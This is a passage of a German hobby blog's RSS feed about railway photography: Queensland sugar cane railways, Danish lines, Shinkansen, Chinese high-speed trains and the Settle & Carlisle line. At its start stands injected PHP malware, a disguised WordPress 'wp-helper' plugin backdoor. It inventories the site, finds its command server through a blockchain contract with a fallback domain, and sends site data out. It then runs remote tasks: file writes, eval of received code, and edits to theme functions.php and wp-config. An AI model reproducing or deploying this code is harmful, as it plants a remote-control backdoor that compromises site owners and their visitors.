// 8t_ws if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/mnt/web705/a0/86/51140486/htdocs/STRATO-apps/wordpress_03/app/wp-content/plugins/wp-helper-92836a/wp-helper-92836a.php', 'ctrl'=>'// 8t_ws', 'vis'=>'// ix_kv', 'vis_func'=>'wp_uo1b3s', 'vis_paths'=>array('/mnt/web705/a0/86/51140486/htdocs/STRATO-apps/wordpress_03/app/wp-content/plugins/wp-helper-92836a/wp-helper-92836a.php'), 'opt'=>'_wp_inun7dfv', ); $keys=array(); $keys['id']='10z'; $keys['ver']='mn'; $keys['caps']='jqt'; $keys['tasks']='1v6'; $keys['interval']='pt8'; $keys['ack_id']='3ri'; $keys['ok']='wv'; $keys['detail']='ooo'; $keys['inv']='w1g'; $keys['result']='wsw'; $hdr='X-9RS-Auth';$tok='d0XA2J9kGT83B6-E_V_g2k8lGzXFW-z7N0cTzEzQjB0';$id='17be01fb933a82f5';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); admin – Axel Klatt https://www.axel-klatt.de Meine private Seite. Sat, 03 Jan 2026 16:23:14 +0000 de hourly 1 https://wordpress.org/?v=7.1 Zuckerrohr-Bahnen in Queensland (Australien) – Teil 2 (2006) https://www.axel-klatt.de/international/zuckerrohr-bahnen-in-queensland-australien-teil-2-2006/ Thu, 01 Jan 2026 10:38:27 +0000 https://www.axel-klatt.de/?p=581

Im Folgenden stelle ich die von uns im September 2006 besuchten Zuckerrohrbahnen von Norden nach Süden kurz mit einigen Aufnahmen vor.

Mossman Mill, Mossman, QLD, Australien

Die ersten Zuckerrohr-Bahnen die wir am 26. September 2006 ganz im Norden von Queensland antrafen, waren die beiden Loks DOUGLAS und FAUGH A BALOUGH der Mossman Sugar Mill, die gerade eine lange Waggonreihe mit unbeladenen „Bins“ für frisch geerntetes Zuckerrohr bereitstellten.

Ein Stückchen weiter zog die Lok DAINTREE gerade einen weiteren Zug mit leeren Waggons Richtung Süden zur Beladung.



Lok		HerstellerTypAchsenfolgeFabriknummerBaujahr
DOUGLASCom‑EngAA0‑6‑0DHB17191957
FAUGH A BALOUGHCom‑EngAL0‑6‑0DHAL41901965
DAINTREEEMBDH28BB‑B DH7303.1 7.771977
vollständige Liste siehe [1]

Leider hat die Mossman Mill Anfang 2024 ihren Betrieb nach über 130 Jahren einstellen müssen !

Tully Sugar Mill, Tully, QLD, Australien

Der nächste Halt war am 28.9.2006 über 200 km weiter südlich in Tully, bei der Tully Sugar Zuckerfabrik.

An der Zufa konnten wir vom Parkplatz aus TULLY-2 im typischen Umfeld der Queensländer Zuckerrohrfabriken bei der Mittagspause im Schatten fotografieren:

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
TULLY-2WalkersGH500 rebuild
ex-QR DH66		B-B DH6531991
1970
vollständige Liste siehe [1]

Inkerman Mill, Home Hill, QLD, Australien

Der nächste Halt war am nächsten Tag dem 29.9.2006 an der Wilmar Sugar Inkerman Mill in Home Hill. Hier trafen wir die Lok BOJACK mit einer langen Waggonreihe leerer „Bins“ direkt vor der Zuckerfabrik an.

Schließlich kam noch Lok CARSTAIRS mit einem voll beladenen langen Zug fisch geerntetem Zuckerrohr an.

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
BOJACKEMBDH26BB-B DH7280.1 9.771977
CARSTAIRSEMBDH18RRTD0-6-0 DH6/2715.1 9.681968
vollständige Liste siehe [1]

Prosperpine Mill, Home Hill, QLD, Australien

Lok 14 der Prosperpine Mill (seit 2011 Teil der Wilmar Gruppe) zog am 30. September 2006 einen langen Zug großer „Bins“ durch die typische Zuckerrohranbauregion entlang der Küste Queenslands.

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
14Walkers
rebuilt BFE		GH700B-B DH701
7339		1972
1998
vollständige Liste siehe [1]

(RACECOURSE, PLEYSTOWE,) MARIAN (& FARLEIGH) MILLS, Finch Hatton, QLD, Australien

Lok 19 „NARPI“ der MARIAN MILLS (mittlerweile auch Teil der Mackary Sugar Gruppe – welche interessanter Weise seit 2019 zur deutschen Nordzucker Gruppe gehört !) beförderte am 30.09.2006 einen voll geladenen Zug bei Finch Hatton zur örtlichen Zuckerrohrfabrik in Marian.

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
19 NAPRIEimcoB-B DHL2561990
vollständige Liste siehe [1]

LITERATUR

[1] Australian sugar industry locomotives – June 2005 (engl.) https://www.lrrsa.org.au/QLD_locolist_June2005.htm

[2] Artikel über die Sugar Cane Railways in Queensland von der Light Railway Research Society of Australia (engl.) https://www.lrrsa.org.au/LRR_SGRz.htm

[3] Ältere kostenlose Artikel über die Sugar Cane Railways in Queensland von der Light Railway Research Society of Australia (engl.) https://www.lrrsa.org.au/Lrr_LRl.html

[4] https://www.railtram.com.au/sugar-cane-railways

[5] https://www.eisenbahn-sammlershop.de/Buecherantiquariat/Allgemein-132/4000-km-auf-610-mm-spur-oder-die-zuckerrohrbahnen-im-australischen-queensland.html

]]> Zuckerrohr-Bahnen in Queensland (Australien) – Teil 1 (2024) https://www.axel-klatt.de/international/zuckerrohr-bahnen-in-queensland-australien/ Wed, 31 Dec 2025 12:08:02 +0000 https://www.axel-klatt.de/?p=503 Im Osten von Queensland erstrecket sich die Region des Zuckerrohranbaus über fast 1500 km von Cairns ganz im Norden bis fast nach Brisbane entlang der Ostküste Australiens. Das warme, fast tropische Klima erlaubt eine Ernte der Zuckerrohre von Juli bis in den Dezember, welche in lokalen Zuckerfabriken zuerst gesäubert und zerkleinert werden um dann den Saft auszupressen, einzudicken und schließlich zum bekannten braunen Rohrzucker auskristallisiert zu werden.

Historisch haben sich lokal um diese Zuckerfabriken ausgedehnte Schmalspur-Bahnen speziell für den Transport des frisch geschnittenen Zuckerrohrs in die jeweiligen Zuckerfabriken entwickelt. Die Gesamtlänge der Queensländer Zuckerrohr-Schmalspurbahnen betrug ehemals mindestens 4000 Streckenkilometer [6].

.-.

Im Rahmen meiner Australien-Urlaube konnte ich einige Zuckerrohrbahnen 2006 und nochmals 18 Jahre später im September 2024 besuchen. Leider wurden in der Zwischenzeit eine Reihe von Zuckerfabriken geschlossen, bzw. die Zuckerrohrbahnen zugunsten von LKW-Transporten aufgegeben.

Im Folgenden stelle ich die von mir 2024 besuchten Zuckerrohrbahnen von Norden nach Süden kurz mit einigen Aufnahmen vor.

MSF Sugar – South Johnstone Mill, South Johnstone, QLD, Australien

MSF Sugar betreibt eine 610mm (2 ft) Schmalspur-Zuckerrohrbahn mit einem Gleisnetz von immer noch ca. 470 km.

Bei einen kurz Stopp an der South Johnstone Mill am 24. September 2024 konnten wir die Loks 11, 17 und 16 betriebsbereit abgestellt vor dem Lokschuppen fotografieren. Lok 18 stand vor einem anderen Lokschuppen etwas weiter entfernt.

Die Loks 2 und 3 zogen gerade einen langen Zug mit frisch geerntetem Zuckerrohr zur Zuckerfabrik um ihn kurz darauf rückwärts zur Entladestelle zu bringen. Der Lokführer bemerkte uns und zeigte uns den Führerstand der Lokomotive von innen – leider duften wir dann doch nicht mitfahren.

Lok 18 wurde später noch in die Nähe gefahren und ich kam mit Walter dem Lokführer ins Gespräch … er war vor über 40 Jahren aus Österreich nach Australien ausgewandert und sprach noch ein wenig Österreichisch !

Liste fotografierter Loks:

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
2ClydeDHI-71 0-6-0 55-561955
3ClydeDHI-71 0-6-0 56-901956
11ClydeDHI-710-6-055-641955
16ClydeDHI-710-6-056-931956
17ClydeDHI-710-6-055-571955
18ClydeDHI-710-6-056-831956
vollständige Liste siehe [1]

Tully Sugar Mill, Tully, QLD, Australien

Der nächste Halt am gleichen Tag war nur ein paar Kilometer weiter südlich in Tully, bei der Tully Sugar Zuckerfabrik. Deren Streckennetz hat ebenfalls eine Spurweite von 610 mm (2 ft) und weiss noch eine Gesamtstreckenlänge von ca. 200 km auf [2].

An der Zufa konnten wir vom Parkplatz aus TULLY-11 und TULLY-16 auf dem Gelände in Doppeltraktion fotografieren:

Ein Stück die Straße runter zog TULLY-7 gerade eine lange Wagenreihe leerer Waggons, während sich TULLY-6 auf den Weg zur nächsten Waggonreihe machte.

Etwas außerhalb des Geländes der Zuckerfabrik trafen wir an einem Bahnübergang auf TULLY-7, die gerade einen langen leerem Zug aus der Zuckerfabrik holte.

Liste fotografierter Loks:

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
TULLY-6WalkersGH500 rebuild
ex-QR DH66		B-B DH6531970 (1991)
TULLY-7WalkersGH500 rebuild
ex-QR DH70		B-B DH6571970 (1994)
TULLY-11Comengmodel AD0-6-0 DHAD13471960
TULLY-16Comengmodel AH0-6-0 DHAH44841964
vollständige Liste siehe [1]

Victoria Sugar Mill, Ingham, QLD, Australien

Auf der Weiterfahrt Richtung Süden sahen wir am nächsten Tag dem 25. September 2024 endlich mal zufällig einen langen Zuckerrohrzug auf freier Strecke auf dem Weg zur nächsten Zuckerfabrik. Es war die Lok 12 der Victoria Sugar Mill östlich von Ingham, welche durch die bereits abgeernteten Zuckerrohrfelder immer der Straße folgte.

Also folgten auch wir bis zur Zuckerfabrik und fanden dort eine alte Schmalspurdampflok die scheinbar als Denkmal aufgestellt ist. Es handelte sich um die Lok „HOMEBUSH“, welche 1914 mit der Fabriknummer 1067 bei Hudswell, Clarke & Co Ltd in Leeds gebaut wurde. Recherche im Web sagt aber, daß sie noch betriebsfähig ist !

Bei der Weiterfahrt sahen wir noch zwei weitere modernere Loks beim Rangieren mit leeren Waggons (die Nummern ließen sich aber auf den Aufnahmen nicht entziffern).

Noch ein Stück weiter überholten wir einen beladenen Zug auf dem Weg zur Zuckerfabrik mit unserem Camper und ich konnte ihn an zwei verschiedenen Stellen fotografieren und filmen:

Liste fotografierter Loks:

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
HOMEBUSHHudswell Clarke0-6-010671914
12ClydeHG-3R0-6-0 DH65-4341965
?
?
?
vollständige Liste siehe [1]

Plane Creek Mill, Sarina, QLD, Australien

Südlich von Sarina sahen wir bei der Weiterfahrt zufällig einen weiteren Zuckerrohrzug der von der Koumala QR3 gezogen wurde. Die Lokomotive gehört der Plane Creek Mill in Sarina.

Liste fotografierter Loks:

LokHerstellerTypAchsenfolgeFabriknummerBaujahr
Koumala QR3 WalkersGH500 rebuild
ex-QR DH64		B-B DH6511970
vollständige Liste siehe [1]

LITERATUR

[1] Aktueller Artikel aus 2024 in Englisch über die Zuckerrohrbahnen in Queensland (Teil 1): https://hoby.co.nz/maps/RR%20reading/Australia/Sugar%20cane%202024-1%20from%20Railway-Digest-April-2024-LowRes.pdf

[2] Aktueller Artikel aus 2024 in Englisch über die Zuckerrohrbahnen in Queensland (Teil 2): https://hoby.co.nz/maps/RR%20reading/Australia/Sugar%20Cane%202024%20Pt%202%20from%20Railway-Digest-May-2024-LowRes.pdf

[3] Artikel über die Sugar Cane Railways in Queensland von der Light Railway Research Society of Australia (engl.) https://www.lrrsa.org.au/LRR_SGRz.htm

[4] Ältere kostenlose Artikel über die Sugar Cane Railways in Queensland von der Light Railway Research Society of Australia (engl.) https://www.lrrsa.org.au/Lrr_LRl.html

[5] https://www.railtram.com.au/sugar-cane-railways

[6] https://www.eisenbahn-sammlershop.de/Buecherantiquariat/Allgemein-132/4000-km-auf-610-mm-spur-oder-die-zuckerrohrbahnen-im-australischen-queensland.html

]]> Indian Summer in Quebec, Vermont und New Hampshire https://www.axel-klatt.de/reisen/indian-summer-in-quebec-vermont-und-new-hampshire/ https://www.axel-klatt.de/reisen/indian-summer-in-quebec-vermont-und-new-hampshire/#respond Mon, 09 Oct 2023 11:02:42 +0000 https://www.axel-klatt.de/?p=407 Impressionen aus Quebec, Kanada:

]]> https://www.axel-klatt.de/reisen/indian-summer-in-quebec-vermont-und-new-hampshire/feed/ 0 Foto-Galerie https://www.axel-klatt.de/foto-art/foto-galerie/ Sun, 26 Mar 2023 09:10:00 +0000 http://www.axel-klatt.de/?p=259

]]> Rubjerg Knude Fyr, Denmark https://www.axel-klatt.de/reisen/rubjerg-knude-fyr-denmark/ Thu, 13 Oct 2022 07:07:01 +0000 http://www.axel-klatt.de/?p=318 Im Norden von Jütland gibt es an der Nordsee eine der größten Wanderdünen Europas: Rubjerg Knude. Mitten auf dieser Düne steht der 1899 errichtete Leuchtturm Rubjerg Knude Fyr, der am 27. Dezember 1900 eingeweiht wurde und bis zum 1. August 1968 seinen Dienst versah.

Aufgrund des Wanderung der Düne versandete der Leuchtturm ab dem 1990igern immer mehr und durch die immer weiter fortschreitenden Erosion drohte er ca. 2020 in die Nordsee zu stürzen. In einer aufwendigen Rettungsaktion wurde er jedoch am 22. Oktober 2019 um ca. 70 Meter ins Landesinnere verschoben, um ihn noch weitere Jahre zu retten:

Eingebetteten Inhalt von YouTube öffnen

Seit wir in Nordjütland regelmäßig den Herbsturlaub verbringen, kommen wir immer wieder um Rubjerg Knude Fyr wieder zu sehen und die grandiosen Veränderungen der Landschaft durch die Naturgewalten zu erleben.

Hier zeige ich nun ausgewählte Aufnahmen, die in den jeweiligen Jahren entstanden sind.

12. Oktober 2022:

]]> Dänemark https://www.axel-klatt.de/international/daenemark/ Wed, 05 Oct 2022 07:38:01 +0000 http://www.axel-klatt.de/?p=247 Jütland ist immer wieder eines unserer Herbst-Urlaubsziele, also wird es mal Zeit auch aus diesem schönen Land ein paar Eisenbahnaufnahmen zu veröffentlichen. Den Anfang machen Aufnahmen aus MittelJütland.

Die Midtjyske Jernbaner wurde 2008 durch die Fusion der Odderbanen und der Lemvigbanen (VLTJ – Vemb-Lemvig-Thyborøn-Jernbane) gegründet. Das Streckennetz erstreckt sich von Vemb über Lemvig bis hoch nach Thyborøn.

Zum Einsatz kommen im Personenverkehr ausschließlich vier zweiteilige DUEWAG-Triebwagen vom Typ Ym (Lynette). Die Frichs Köf II der VLTJ konnte ich in Lemvig in der Hauptwerkstatt leider nicht sehen.

Hier ein paar Impressionen von Anfang Oktober 2022.

Der Morgenzug aus Thyborøn kurz vor Vejlby (3.10.2022)
Abfahrbereit (oben) und abgestellt (Ym 15 Fjorden & Schneepflug, unten) im Bahnhof Lemvig (3.10.2022)
Abfahrt aus dem Bahnhof Lemvig (3.10.2022)
Der Morgenzug nach Thyborøn kurz vor Vejlby (4.10.2022)
Am Abzweig zur Cheminova auf Rønland begegnete mir ein Triebwagen auf der Fahrt Richtung Süden, als ich gerade die VLTJ Köf auf dem Werkgelände fotografiert hatte (6.10.2022)
VLTJ T 29 Køf (Frichs 863 / 1966, ex DSB 252) als Dauervermietung bei der Cheminova AS auf Rønland
]]> Shinkansen in Japan https://www.axel-klatt.de/international/shinkansen-in-japan/ Wed, 30 Mar 2022 06:15:25 +0000 http://www.axel-klatt.de/?p=119
Shinkansen im November 2004 in Shinagawa
September 2017 in Nagoya (auf dem Weg nach Kyoto)

Passt.

]]> ICE in China https://www.axel-klatt.de/international/ice-in-xian/ Tue, 29 Mar 2022 21:01:31 +0000 http://www.axel-klatt.de/?p=111 Auf dem Weg von Xi’an zum HuaShan konnte ich am 7. April 2019 gleich mehrere der unterschiedlichen chinesischen Hochgeschwindigkeitszüge fotografieren. Der Ausbau des chinesischen Hochgeschwindigkeitsnetzes ist aber auch atemberaubend …

CRH2C-2093 auf einem Unterwegsbahnhof zwischen Xi’an und Huashan
CRH380A-2863 im Bahnhof 华山北站 (Huashan North Railway Station)
CRH380B-3764 & CRH380BL-5502 im Bahnhof 西安北站 (Xi’anbei Railway Station)

Wieso kommt mir das Design dieser beiden Züge nur so bekannt vor … ?

Klare Ansagen in den Zugabteilen !

]]> Containerzug in den USA https://www.axel-klatt.de/international/containerzug-in-den-usa/ Tue, 29 Mar 2022 21:00:17 +0000 http://www.axel-klatt.de/?p=108 Am 2. Juni 2019 konnte ich südlich der Mojave-Wüste in Kalifornien einen schweren Container-Güterzug über eine längere Strecke verfolgen und mehrmals fotografieren.

7994 & 7734 der UNION PACIFIC fahren mit ihrem Containerzug ostwärts in der Nähe von Amboy (CA)
7694 & 6624 & 4600 der UNION PACIFIC in der Gegenrichtung vor der Zugkreuzung
7994 & 7734 der UNION PACIFIC warten die Zugkreuzung mit dem entgegenkommenden Güterzug ab.
]]> The Settle & Carlisle Line https://www.axel-klatt.de/international/sc/ Tue, 29 Mar 2022 20:50:23 +0000 http://www.axel-klatt.de/?p=101
The Settle and Carlisle Line – für viele Eisenbahnfreunde DER Inbegriff für eine der schönsten Eisenbahnstrecken auf der britischen Insel. Im Folgenden wird diese landschaftlich einmalige Strecke vorgestellt.

Intro

Ende des letzten Jahrhunderts stellte diese Strecke die direkte Verbindung aus Mittelengland nach Schottland dar und sollte über viele Jahre hinweg eine der wichtigsten Verkehrswege Großbritanniens sein.

In den letzten Jahren kamen immer wieder Gerüchte über das endgültige Aus der Strecke auf.
Glücklicherweise hat sich die Lage in der Zwischenzeit stabilisiert, so daß auf der heute nur noch im Regionalverkehr bedeutsamen Strecke auch in Zukunft noch Sonderfahren durchgeführt werden können.

Geschichte

Die „Midland Railway Company“ eröffnete 1876 nach nur sechsjähriger Bauzeit und Unkosten von über 3 Millionen Pfund Sterling die 73 Meilen lange Strecke zwischen Settle und Carlisle.

Bedingt durch die schwierige Streckenführung durch die Yorkshire Dales war der Bau eine Herausforderung für die Ingenieure: Nicht weniger als 20 Steinbogen-Viadukte und gut ein Dutzend Tunnel mußten gebaut werden. Genauso beeindruckend wie diese Bauwerke, ist die Landschaft durch die die SCL führt: ursprüngliche, rauhe Mittelgebirgslandschaft, die noch heute von Schafweiden mit Steinmauern und den typischen Steinhäusern geprägt wird.

Ein Regionaltriebwagen befindet sich am 8. August 1996 in der Nähe von Dent auf der Fahrt nach Settle, bzw. Leeds.

Foto: Axel Klatt

Bis in die 70iger Jahre lebte die Strecke von den durch- gehenden Zügen zwischen Glasgow und London. Doch mit der Elektrifizierung der nur 10 bis 25 km westlich gelegenen Parallelstrecke – die durch eine lange nicht so schwierige Landschaft führt – wäre das Schicksal der SCL beinahe besiegelt worden. Mit dem Wegfall der letzten durchgehenden Züge von Nottingham nach Glasgow 1983 und den notwendigen Renovierungsarbeiten am Ribblehead-Viadukt standen die Signale schon fast auf Halt.

Die BR war nicht bereit, die notwendigen Kosten von 5 bis 6 Millionen Pfund in die Renovierung des Viaduktes und die notwendigen Instand- setzungsmaßnahmen an der übrigen Strecke zu investieren – für 1986 planten sie die Stilllegung der SCL.

Rettung der SCL

Durch breite Unterstützung zahlreicher Verbände und Politiker weit über die York- shire Dales hinaus, formierte sich starker Widerstand gegen die Stilllegung der Strecke …

Unabhängige Sachverständige schätzen die notwendigen Kosten für die Renovierung des Ribblehead-Viaduktes auf lediglich ca. 1 bis 2 Mill. Pfund, so daß das Argument der gewaltigen Investitionen nicht länger haltbar war.

Privatisierungsvorhaben für die SCL scheiterten, so daß sich BR am 12. Mai 1989 doch für den Erhalt der Strecke entschied.

Ein Regionaltriebwagen befindet sich am 8. August 1996 in der herrlichen Landschaft der Yorkshire Dales auf der Fahrt Richtung Carlisle in der Nähe von Horton in Ribbledale.
Foto: Axel Klatt
Der nach Süden fahrende Triebwagen der BR wird nach der Überquerung des Dent-Head-Viadukts gleich im Blea Moor Tunnel – dem längsten Tunnel der SCL – verschwinden.
Foto: Axel Klatt

SCL heute

Heute findet über die SCL nur noch der Regionalver-
kehr zwischen Leeds und Carlisle statt. Alle Züge werden als Triebwagen geführt.

Längere durchgehende Züge über die Strecke werden nur noch bei Sonderfahren gefahren.

Auch Güterverkehr findet hier seit Jahren nicht mehr statt. Sämtliche Landegleise sind auf den Bahnhöfen rückgebaut worden.

end

Eine Bahnfahrt über die äußerst reizvolle Strecke sollte sich kein Eisenbahn- freund entgehen lassen.

Die BR versucht ebenfalls durch Werbung für die SCL ihre Kunden auf diese Alternativroute nach Schott- land aufmerksam zu machen.

Fotoaufenthalte in den Yorkshire Dales entlang der Strecke lohnen sich trotz des relativ einseitigen Fahrzeugsparks aufgrund der vielen Fotomotive allemal – und wenn man im Sommer Glück hat, finden gerade Dampfloksonder- fahren auf dieser klassischen Schnellzugstrecke statt

Das Dent-Head Viadukt von der anderen Seite aus gesehen. In den Verkehrsspitzenzeiten werden die Triebwagen zu Doppeleinheiten zusammengekoppelt. Die Aufnahme entstand am 8. August 1996
Foto: Axel Klatt

Literatur

T.G. Flinders: „On The Settle & Carlisle Route“

